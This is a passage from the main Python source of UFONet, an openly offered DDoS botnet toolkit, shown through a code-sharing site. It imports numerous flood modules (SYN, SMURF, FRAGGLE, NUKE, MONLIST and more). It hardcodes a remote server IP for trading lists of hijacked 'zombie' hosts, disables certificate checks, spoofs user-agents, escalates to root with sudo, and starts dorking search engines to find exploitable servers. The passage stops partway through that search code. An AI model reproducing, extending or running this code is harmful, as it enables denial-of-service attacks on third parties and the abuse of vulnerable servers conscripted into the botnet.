Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/main.py
1205 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2024 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import os, sys, re, traceback, random, time, threading, base64, string, math
13
import io, socket, ssl, cgi, json, gzip
14
15
from hashlib import sha1, sha256
16
try:
17
from Cryptodome.Cipher import AES
18
except:
19
print ("\n[Error] Something wrong with -crypto- libs... Aborting!\n")
20
sys.exit()
21
try:
22
from urllib.parse import urlparse as urlparse
23
except:
24
from urlparse import urlparse as urlparse
25
try:
26
import urllib.request, urllib.error, urllib.parse
27
except:
28
print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
29
sys.exit()
30
from uuid import getnode
31
from random import randrange, shuffle
32
from .options import UFONetOptions
33
from .update import Updater
34
from .herd import Herd
35
from .zombie import Zombie
36
from .doll import Doll
37
from core.tools.inspector import Inspector
38
from core.tools.abductor import Abductor
39
from core.tools.ufoscan import UFOSCAN
40
from core.mods.loic import LOIC
41
from core.mods.loris import LORIS
42
from core.mods.ufosyn import UFOSYN
43
from core.mods.spray import SPRAY
44
from core.mods.smurf import SMURF
45
from core.mods.xmas import XMAS
46
from core.mods.nuke import NUKE
47
from core.mods.tachyon import TACHYON
48
from core.mods.monlist import MONLIST
49
from core.mods.sniper import SNIPER
50
from core.mods.ufoack import UFOACK
51
from core.mods.uforst import UFORST
52
from core.mods.droper import DROPER
53
from core.mods.overlap import OVERLAP
54
from core.mods.pinger import PINGER
55
from core.mods.ufoudp import UFOUDP
56
from core.mods.fraggle import FRAGGLE
57
58
DEBUG = False # use 'True' for detailed traceback
59
60
class UFONet(object):
61
def __init__(self):
62
self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
63
self.blackhole = '46.163.118.220' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
64
self.crypto_key = "U-NATi0n!" # default cryptkey
65
self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
66
self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
67
self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
68
self.external_check_service1 = 'https://www.isitdownrightnow.com/check.php?domain=' # set external check service 1 [OK! 20/08/2024]
69
self.external_check_service2 = 'https://isitdownorjustme.net/status/' # set external check service 2 [OK! 23/07/2022]
70
self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site [OK! 23/07/2022] [OK! 25/08/2024]
71
self.check_ip_service2 = 'https://checkip.org/' # set external check ip service 1 [OK! 23/07/2022] [OK! 25/08/2024]
72
self.check_ip_service1 = 'https://ip.42.pl/ra' # set external check ip service 2 [OK! [23/07/2022] [OK! 25/08/2024]
73
#self.check_ip_service3 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020] [OK! 25/08/2024]
74
self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
75
self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
76
self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
77
self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
78
self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
79
self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
80
self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
81
self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
82
self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
83
self.snmps_file = 'botnet/snmp.txt' # set source path to retrieve [SNMPs]
84
self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
85
self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
86
self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
87
self.timeline_file = 'docs/VERSION' # set source for code releases
88
self.links_file = "data/links.txt" # set source path to retrieve [Blackhole] [Links]
89
self.streams_file = "data/streams.txt" # set source path to retrieve [Blackhole] [Streams]
90
self.globalnet_file = "data/globalnet.txt" # set source path to retrieve [Blackhole] [Globalnet]
91
self.nodes_file = "data/nodes.txt" # set source path to retrieve [Blackhole] [Community] [Nodes]
92
self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
93
self.tv_file = "data/tv.txt" # set source path to retrieve [Blackhole] [TV]
94
self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
95
self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
96
self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
97
self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
98
self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
99
self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
100
self.referer = '' # black magic
101
self.port = "8080" # default injection port
102
self.mothershipname = "core/txt/shipname.txt"
103
self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
104
self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
105
self.warping_path = '/var/www/ufonet' # set source for warping path
106
self.warping_folder_permissions = 0o644 # set permission for warping folder
107
f = open(self.mothership_model_file) # extract mothership model
108
self.mothership_model = f.readlines()
109
for model in self.mothership_model:
110
model = model.rstrip('\n')
111
self.mothership_model = model
112
f.close()
113
self.mothership_baptism() # generating static name/id for your mothership ;-)
114
self.head = False
115
self.payload = False
116
self.external = False
117
self.attack_mode = False
118
self.connection_failed = False
119
self.total_possible_zombies = 0
120
self.herd = Herd(self)
121
self.sem = False
122
self.db_flash = 0 # db stress counter
123
self.total_aliens = 0
124
self.aliens_hit = 0
125
self.aliens_fail = 0
126
self.total_droids = 0
127
self.droids_hit = 0
128
self.droids_fail = 0
129
self.total_ucavs = 0
130
self.ucavs_hit = 0
131
self.ucavs_fail = 0
132
self.total_rpcs = 0
133
self.rpcs_hit = 0
134
self.rpcs_fail = 0
135
self.total_loic = 0
136
self.total_loris = 0
137
self.total_syn = 0
138
self.total_spray = 0
139
self.total_smurf = 0
140
self.total_fraggle = 0
141
self.total_xmas = 0
142
self.total_ufoack = 0
143
self.total_uforst = 0
144
self.total_droper = 0
145
self.total_overlap = 0
146
self.total_pinger = 0
147
self.total_ufoudp = 0
148
self.total_nuke = 0
149
self.total_tachyon = 0
150
self.total_monlist = 0
151
self.total_sniper = 0
152
self.total_zombies_failed_connection = 0
153
self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
154
self.ctx.check_hostname = False
155
self.ctx.verify_mode = ssl.CERT_NONE
156
self.nat_error_flag = "OFF"
157
self.trans_zombies = 0
158
self.scanned_zombies = 0
159
self.loadcheck_counter = 0
160
self.loadcheck_prev_size = None
161
self.loadcheck_prev_load = None
162
self.loadcheck_first_size = None
163
self.loadcheck_first_load = None
164
self.loadcheck_size_list = []
165
self.loadcheck_load_list = []
166
self.loadcheck_size_median = None
167
self.loadcheck_size_max = None
168
self.loadcheck_size_min = None
169
self.loadcheck_load_median = None
170
self.loadcheck_size_max = None
171
self.loadcheck_size_min = None
172
self.num_is_up = 0 # counter for [UCAVs] 'up' reports
173
self.num_is_down = 0 # counter for [UCAVs] 'down' reports
174
self.expire_timing = 30 # default expiring time per round
175
self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
176
self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
177
self.globalnet_msg_sep = "#$#" # globalnet stream separator
178
self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
179
self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
180
self.trans_5C = self.trans_5C.encode("latin-1")
181
self.trans_36 = self.trans_36.encode("latin-1")
182
183
def mothership_baptism(self):
184
if os.path.exists(self.mothershipname) == True:
185
f = open(self.mothershipname)
186
self.mothership_id = f.read()
187
f.close()
188
else:
189
self.mothership_ids = []
190
try:
191
f = open(self.motherships_file)
192
motherships = f.readlines()
193
f.close()
194
for ship in motherships:
195
ship = ship.encode("utf-8")
196
self.mothership_ids.append(base64.urlsafe_b64encode(ship))
197
try:
198
self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
199
except:
200
try:
201
self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
202
except:
203
self.mothership_id = self.default_mothership_name
204
except:
205
self.mothership_id = self.default_mothership_name
206
if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
207
self.mothership_id = self.default_mothership_name
208
m = open(self.mothershipname, "w") # write mothership name to a static file
209
m.write(str(self.mothership_id.upper()))
210
m.close()
211
212
def create_options(self, args=None):
213
self.optionParser = UFONetOptions()
214
self.options = self.optionParser.get_options(args)
215
if not self.options:
216
return False
217
return self.options
218
219
def banner_welcome(self):
220
print(r" ____ ")
221
print(r" || / /\ \ || #===============================================#")
222
print(r" -(00)- + (XX) + -(00)- || ||")
223
print(r" || || O ==*~~~~~~*== 0 || || || > Botnet [DDoS] # > Close Combat [DoS] ||")
224
print(r" -(00)- O|O (0) XX (0) -(00)- || ||")
225
print(r" || _____ |____\| (00) |/______|D___ || || |-> ZOMBIES # |-> LOIC ||")
226
print(r" O+!$(O)! (O) 0'----'0 (O) !(O)$!+O || |-> DROIDS # |-> LORIS ||")
227
print(r" |OO OO| .''.( xx ).''. |OO OO| || |-> ALIENS # |-> UFOSYN ||")
228
print(r" **+***.'.' +X|'..'|X+ '.'***+**. || |-> UCAVs # |-> XMAS ||")
229
print(r" .-. .' /'--.__|_00_|__.--'\ '. .-. || |-> X-RPCs # |-> NUKE ||")
230
print(r" +(O).)-|0| \ x| ## |x / |0|-(.(O)+ || |-> DBSTRESS # |-> UFOACK ||")
231
print(r" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || |-> SPRAY # |-> UFORST ||")
232
print(r" _ | || '-.___||___.-' || | _ || |-> SMURF # |-> DROPER ||")
233
print(r" .' _ | ||==O | __ | O==|| | _ '. || |-> TACHYON # |-> OVERLAP ||")
234
print(r" / .' ''.| || | /_00_\ | || |.'' '. \ || |-> MONLIST # |-> PINGER ||")
235
print(r" _ | '### | =| | ###### | |= |' ### | _ || |-> FRAGGLE # |-> UFOUDP ||")
236
print(r"(0)-| |(0)| '. 0\||__**_ ||/0 .' |(0)| |-(0) || |-> SNIPER # ||")
237
print(r" * \ '._.' '. | \_##_/ | .' '._.' / * || ||")
238
print(r" '.__ ____0_'.|__'--'__|.'_0____ __.' #|=============================================|#")
239
print(r" .'_.-| YY |-._'. || ||")
240
print(r" || -> [ UFONet: https://ufonet.03c8.net ] <- ||")
241
print(r" + Class: PSYoPs / "+str(self.mothership_model)+" + || ||")
242
print(r" #|=============================================|#")
243
print("")
244
245
def banner(self):
246
print('='*75, "\n")
247
print("888 888 8888888888 .d88888b. 888b 888 888 ")
248
print("888 888 888 d88P Y888b 8888b 888 888 ")
249
print("888 888 888 888 888 88888b 888 888 ")
250
print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
251
print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
252
print("888 888 888 888 888 888 Y88888 88888888 888 ")
253
print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
254
print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
255
print(self.optionParser.description, "\n")
256
print('='*75)
257
258
def generate_exit_msg(self):
259
self.exit_msg = "Generating random exit... \n\n"
260
try:
261
f = open(self.misc_file)
262
m = f.readlines()
263
f.close()
264
self.exit_msg += " -> "+str(random.choice(m).strip())
265
except:
266
self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
267
268
def AI(self):
269
try:
270
import turtle as AI
271
print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
272
colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
273
bg = random.choice(colors).strip()
274
t = AI.Pen()
275
AI.bgcolor(bg)
276
r = random.randrange(100,100000)
277
for x in range(r):
278
t.pencolor(colors[x%6])
279
w = random.randrange(100,1000)
280
t.width(x/w + 1)
281
t.forward(x)
282
l = random.randrange(50,1000)
283
t.left(l)
284
except:
285
print("[AI] %!$1#9#84#~... -> [Exiting!]")
286
pass
287
288
def round_float(self, num):
289
return str(int(round(num, -1)))[2] # black magic
290
291
def show_mac_address(self):
292
mac = getnode() # to get physical address
293
hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
294
return hex_mac
295
296
def show_ips(self):
297
import requests
298
try:
299
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
300
s.connect(("8.8.8.8", 80))
301
private_ip = s.getsockname()[0] # black magic
302
s.close()
303
except:
304
private_ip = "Unknown"
305
try:
306
public_ip = requests.get(self.check_ip_service1).text
307
public_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(public_ip).group(1)
308
except:
309
try:
310
public_ip = requests.get(self.check_ip_service2).text
311
public_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(public_ip).group(1)
312
except:
313
public_ip = "Unknown"
314
return private_ip, public_ip
315
316
def try_running(self, func, error, args=None):
317
options = self.options
318
args = args or []
319
try:
320
return func(*args)
321
except Exception as e:
322
if DEBUG == True:
323
print(error, "error")
324
traceback.print_exc()
325
326
def checkeuid(self):
327
try:
328
euid = os.geteuid()
329
except:
330
print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
331
print("[AI] "+self.exit_msg+"\n")
332
sys.exit(2) # return
333
return euid
334
335
def start_ship_engine(self):
336
self.agents = [] # generating available user-agents
337
f = open(self.agents_file)
338
agents = f.readlines()
339
f.close()
340
for agent in agents:
341
self.agents.append(agent)
342
self.user_agent = random.choice(self.agents).strip()
343
self.search_engines = [] # available dorking search engines
344
self.search_engines.append('bing') # [13/07/2021: OK!] [25/08/2024 OK!]
345
#self.search_engines.append('yahoo') # [13/07/2021: OK!] [25/08/2024: tracking remote url origin]
346
self.search_engines.append('duck') # [13/07/2021: OK!] [25/08/2024 OK!]
347
#self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
348
#self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
349
#self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
350
if not os.path.exists("core/json/"): # create gui json cfg files folder
351
os.mkdir("core/json/")
352
self.banner_welcome()
353
self.update_flying_stats() # update flying time stats
354
chargo = self.check_mothership_chargo() # check mothership chargo
355
self.update_max_chargo(int(chargo)) # update max chargo stats
356
self.generate_exit_msg() # generate random exit msg
357
358
def hmac_sha1(self, key, msg):
359
if len(key) > 20:
360
key = sha1(key).digest()
361
key += chr(0).encode('utf-8') * (20 - len(key))
362
o_key_pad = key.translate(self.trans_5C)
363
i_key_pad = key.translate(self.trans_36)
364
return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
365
366
def derive_keys(self, key):
367
key = key.encode('utf-8')
368
h = sha256()
369
h.update(key)
370
h.update('cipher'.encode('utf-8'))
371
cipher_key = h.digest()
372
h = sha256()
373
h.update(key)
374
h.update('mac'.encode('utf-8'))
375
mac_key = h.digest()
376
return (cipher_key, mac_key)
377
378
def decrypt(self, key, text):
379
KEY_SIZE = 32
380
BLOCK_SIZE = 16
381
MAC_SIZE = 20
382
mode = AES.MODE_CFB
383
try:
384
iv_ciphertext_mac = base64.urlsafe_b64decode(text)
385
except:
386
try:
387
padding = len(text) % 4
388
if padding == 1:
389
return ''
390
elif padding == 2:
391
text += b'=='
392
elif padding == 3:
393
text += b'='
394
iv_ciphertext_mac = base64.urlsafe_b64decode(text)
395
except TypeError:
396
return None
397
iv = iv_ciphertext_mac[:BLOCK_SIZE]
398
ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
399
mac = iv_ciphertext_mac[-MAC_SIZE:]
400
(cipher_key, mac_key) = self.derive_keys(key)
401
expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
402
if mac != expected_mac:
403
return None
404
aes = AES.new(cipher_key, mode, iv)
405
self.decryptedtext = aes.decrypt(ciphertext)
406
try:
407
self.decryptedtext = self.decryptedtext.decode('utf-8')
408
except:
409
pass
410
411
def run(self, opts=None):
412
if opts:
413
self.create_options(opts)
414
options = self.options
415
416
# start threads
417
if not self.options.threads:
418
self.options.threads=5 # default number of threads
419
self.sem = threading.Semaphore(self.options.threads)
420
421
# start ship engine
422
self.start_ship_engine()
423
424
# check proxy options
425
proxy = options.proxy
426
if options.proxy:
427
try:
428
pattern = r'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
429
m = re.search(pattern, proxy)
430
if m is None:
431
self.banner()
432
print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
433
return
434
else:
435
self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
436
except Exception:
437
self.banner()
438
print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
439
return
440
441
# check tor connection
442
if options.checktor:
443
url = self.check_tor_url # TOR status checking site
444
self.banner()
445
print("\nSending request to: " + url + "\n")
446
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
447
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
448
try:
449
if options.proxy: # set proxy
450
self.proxy_transport(options.proxy)
451
req = urllib.request.Request(url, None, headers)
452
tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
453
your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
454
if not tor_reply or 'Congratulations' not in tor_reply:
455
print("It seems that Tor is not properly set.\n")
456
print(("IP address appears to be: " + your_ip + "\n"))
457
else:
458
print("Congratulations!. Tor is properly being used :-)\n")
459
print(("IP address appears to be: " + your_ip + "\n"))
460
except:
461
print("Cannot reach TOR checker system!. Are you correctly connected?\n")
462
sys.exit(2) # return
463
464
# run AES256+HMAC-SHA1 enc/dec tool
465
if options.cryptomsg:
466
from core.tools.crypter import Cipher
467
print(" " + '='*44)
468
print(r" ")
469
print(r" ____...------------...____ ")
470
print(r" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
471
print(r" .' / / \ \ '. ")
472
print(r" |=====/o/======================\o\=====| ")
473
print(r" |____/_/________..____..________\_\____| ")
474
print(r" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
475
print(r" \__/_____\####/0213411543/####/_____\__/ ")
476
print(r" |===\!/========================\!/===| ")
477
print(r" | |=| .---. |=| | ")
478
print(r" |===|o|=========/ \========|o|===| ")
479
print(r" | | | \() ()/ | | | ")
480
print(r" |===|o|======{'-.) A (.-'}=====|o|===| ")
481
print(r" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
482
print(r" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
483
print(r" | _\o/ __ {.' __ '.} _ _\o/ _| ")
484
print(r" '''''''''''''''''''''''''''''''''''''' ")
485
print(r" + UFONet Crypter (AES256+HMAC-SHA1)")
486
print(r" (140 plain text chars = 69 encrypted chars)")
487
print(" " + '='*44 + "\n")
488
text = str(input("-> Enter TEXT: "))
489
input_key = str(input("\n-> Enter KEY: "))
490
key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
491
c = Cipher(key, text)
492
msg = c.encrypt()
493
msg = msg.decode('utf-8')
494
c.set_text(msg)
495
print("\n" + " " + '-'*44)
496
print('\n-> Ciphertext: [', msg, ']')
497
print('\n-> Length:', len(msg))
498
print("\n" + " " + '-'*44)
499
print('\n-> Key (share it using SNEAKNET!):', input_key)
500
print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
501
502
# run shownet tool
503
if options.shownet:
504
hex_mac = self.show_mac_address()
505
self.banner()
506
print("-> Network Info:")
507
print('='*44)
508
print("-"*35)
509
print("|- MAC Address :", hex_mac)
510
print("|" +"-"*34)
511
private_ip, public_ip = self.show_ips()
512
print("|- IP Private :", private_ip)
513
print("|" +"-"*34)
514
self.check_ip_services = [self.check_ip_service1, self.check_ip_service2] # shuffle check ip services
515
self.check_ip_service = random.choice(self.check_ip_services).strip() # shuffle user-agent
516
t = urlparse(self.check_ip_service)
517
name_service = t.netloc
518
print("|- IP Public :", public_ip +" | ["+name_service+"]")
519
print("-"*35)
520
print('='*75, "\n")
521
522
# run UFOSCAN tool (check EUID when running UFOSCAN)
523
if options.xray:
524
euid = self.checkeuid()
525
if euid != 0:
526
print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
527
try:
528
args = ['sudo', sys.executable] + sys.argv + [os.environ]
529
os.execlpe('sudo', *args)
530
except:
531
pass # keep running
532
else:
533
if not options.xrayps:
534
options.xrayps = str("1-1024") # default scanning ports (1-1024)
535
ports = options.xrayps
536
try:
537
portX, portY = ports.split('-')
538
try:
539
portX = int(portX)
540
portY = int(portY)
541
except:
542
portX = 1
543
portY = 1024
544
print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
545
except:
546
portX = 1
547
portY = 1024
548
print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
549
self.banner()
550
print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
551
print('='*22 + '\n')
552
try:
553
self.instance = UFOSCAN() # instance main class for scanning operations
554
xray = self.instance.scanning(options.xray, portX, portY)
555
except Exception as e:
556
print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
557
if DEBUG == True:
558
traceback.print_exc()
559
return
560
561
# show code timeline
562
if options.timeline:
563
f = open(self.timeline_file, 'r')
564
releases = f.readlines()
565
f.close()
566
self.banner()
567
print("-> Code timeline:")
568
print('='*44)
569
print("-"*35)
570
for r in releases:
571
print(r.strip('\n'))
572
print("-"*35)
573
print('='*75, "\n")
574
575
# print some examples
576
if options.examples:
577
f = open(self.examples_file, 'r')
578
examples = f.readlines()
579
f.close()
580
self.banner()
581
for e in examples:
582
print(e.strip('\n'))
583
584
# check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
585
if options.ufosyn:
586
euid = self.checkeuid()
587
if euid != 0:
588
print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
589
try:
590
args = ['sudo', sys.executable] + sys.argv + [os.environ]
591
os.execlpe('sudo', *args)
592
except:
593
pass # keep running, but UFOSYN will fail
594
595
# check EUID when running SPRAY (root required)
596
if options.spray:
597
euid = self.checkeuid()
598
if euid != 0:
599
print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
600
try:
601
args = ['sudo', sys.executable] + sys.argv + [os.environ]
602
os.execlpe('sudo', *args)
603
except:
604
pass # keep running, but SPRAY will fail
605
606
# check EUID when running SMURF (root required)
607
if options.smurf:
608
euid = self.checkeuid()
609
if euid != 0:
610
print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
611
try:
612
args = ['sudo', sys.executable] + sys.argv + [os.environ]
613
os.execlpe('sudo', *args)
614
except:
615
pass # keep running, but SMURF will fail
616
617
# check EUID when running FRAGGLE (root required)
618
if options.fraggle:
619
euid = self.checkeuid()
620
if euid != 0:
621
print("[Info] [AI] [Control] [FRAGGLE] (--fraggle) not started as root...\n")
622
try:
623
args = ['sudo', sys.executable] + sys.argv + [os.environ]
624
os.execlpe('sudo', *args)
625
except:
626
pass # keep running, but FRAGGLE will fail
627
628
# check EUID when running XMAS (root required)
629
if options.xmas:
630
euid = self.checkeuid()
631
if euid != 0:
632
print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
633
try:
634
args = ['sudo', sys.executable] + sys.argv + [os.environ]
635
os.execlpe('sudo', *args)
636
except:
637
pass # keep running, but XMAS will fail
638
639
# check EUID when running UFOACK (root required)
640
if options.ufoack:
641
euid = self.checkeuid()
642
if euid != 0:
643
print("[Info] [AI] [Control] [UFOACK] (--ufoack) not started as root...\n")
644
try:
645
args = ['sudo', sys.executable] + sys.argv + [os.environ]
646
os.execlpe('sudo', *args)
647
except:
648
pass # keep running, but UFOACK will fail
649
650
# check EUID when running UFORST (root required)
651
if options.uforst:
652
euid = self.checkeuid()
653
if euid != 0:
654
print("[Info] [AI] [Control] [UFORST] (--uforst) not started as root...\n")
655
try:
656
args = ['sudo', sys.executable] + sys.argv + [os.environ]
657
os.execlpe('sudo', *args)
658
except:
659
pass # keep running, but UFORST will fail
660
661
# check EUID when running DROPER (root required)
662
if options.droper:
663
euid = self.checkeuid()
664
if euid != 0:
665
print("[Info] [AI] [Control] [DROPER] (--droper) not started as root...\n")
666
try:
667
args = ['sudo', sys.executable] + sys.argv + [os.environ]
668
os.execlpe('sudo', *args)
669
except:
670
pass # keep running, but DROPER will fail
671
672
# check EUID when running OVERLAP (root required)
673
if options.overlap:
674
euid = self.checkeuid()
675
if euid != 0:
676
print("[Info] [AI] [Control] [OVERLAP] (--overlap) not started as root...\n")
677
try:
678
args = ['sudo', sys.executable] + sys.argv + [os.environ]
679
os.execlpe('sudo', *args)
680
except:
681
pass # keep running, but OVERLAP will fail
682
683
# check EUID when running PINGER (root required)
684
if options.pinger:
685
euid = self.checkeuid()
686
if euid != 0:
687
print("[Info] [AI] [Control] [PINGER] (--pinger) not started as root...\n")
688
try:
689
args = ['sudo', sys.executable] + sys.argv + [os.environ]
690
os.execlpe('sudo', *args)
691
except:
692
pass # keep running, but PINGER will fail
693
694
# check EUID when running UFOUDP (root required)
695
if options.ufoudp:
696
euid = self.checkeuid()
697
if euid != 0:
698
print("[Info] [AI] [Control] [UFOUDP] (--ufoudp) not started as root...\n")
699
try:
700
args = ['sudo', sys.executable] + sys.argv + [os.environ]
701
os.execlpe('sudo', *args)
702
except:
703
pass # keep running, but UFOUDP will fail
704
705
# check EUID when running NUKE (root required)
706
if options.nuke:
707
euid = self.checkeuid()
708
if euid != 0:
709
print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
710
try:
711
args = ['sudo', sys.executable] + sys.argv + [os.environ]
712
os.execlpe('sudo', *args)
713
except:
714
pass # keep running, but NUKE will fail
715
716
# check EUID when running TACHYON (root required)
717
if options.tachyon:
718
euid = self.checkeuid()
719
if euid != 0:
720
print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
721
try:
722
args = ['sudo', sys.executable] + sys.argv + [os.environ]
723
os.execlpe('sudo', *args)
724
except:
725
pass # keep running, but TACHYON will fail
726
727
# check EUID when running MONLIST (root required)
728
if options.monlist:
729
euid = self.checkeuid()
730
if euid != 0:
731
print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
732
try:
733
args = ['sudo', sys.executable] + sys.argv + [os.environ]
734
os.execlpe('sudo', *args)
735
except:
736
pass # keep running, but MONLIST will fail
737
738
# check EUID when running SNIPER (root required)
739
if options.sniper:
740
euid = self.checkeuid()
741
if euid != 0:
742
print("[Info] [AI] [Control] [SNIPER] (--sniper) not started as root...\n")
743
try:
744
args = ['sudo', sys.executable] + sys.argv + [os.environ]
745
os.execlpe('sudo', *args)
746
except:
747
pass # keep running, but SNIPER will fail
748
749
# search for [Zombies] on search engines results (dorking)
750
if options.search:
751
zombies = []
752
if options.engine:
753
engine = options.engine
754
else:
755
engine = "duck" # default search engine
756
try:
757
self.banner()
758
if not os.path.exists(self.humans_file) == True:
759
f = open(self.humans_file, 'w')
760
f.close()
761
lf = open(self.humans_file, 'r')
762
restored = lf.readlines()
763
zombies_restored = len(restored)
764
lf.close()
765
lz = open(self.zombies_file, 'r')
766
zombies_army = lz.readlines()
767
for zombie in zombies_army:
768
zombies.append(zombie) # add zombies from army to the zombies pool
769
lz.close()
770
if len(restored) > 0:
771
print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
772
if not self.options.forceyes:
773
backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
774
print('-'*25)
775
else:
776
backup_reply = "Y"
777
if backup_reply == "n" or backup_reply == "N":
778
print("\n[Info] [AI] Removing data stored and starting a new search...\n")
779
os.remove(self.humans_file)
780
zombies_restored = 0 # flush zombies restored
781
print('-'*25 + "\n")
782
else:
783
print("\n[Info] [AI] Restoring data and starting a new search...\n")
784
print('-'*25 + "\n")
785
for zombie in restored:
786
zombies.append(zombie) # add previous data to zombies pool
787
if options.allengines:
788
if options.ex_engine: # exclude some search engines manually
789
exclude = options.ex_engine.split(",")
790
for ex in exclude:
791
ex = ex.lower()
792
if ex in self.search_engines:
793
if len(self.search_engines) == 1: # at least one should make it
794
pass
795
else:
796
self.search_engines.remove(ex)
797
for e in self.search_engines:
798
engine = e
799
print('='*44)
800
print(("\n[AI] Searching for zombies using: "+engine+'\n'))
801
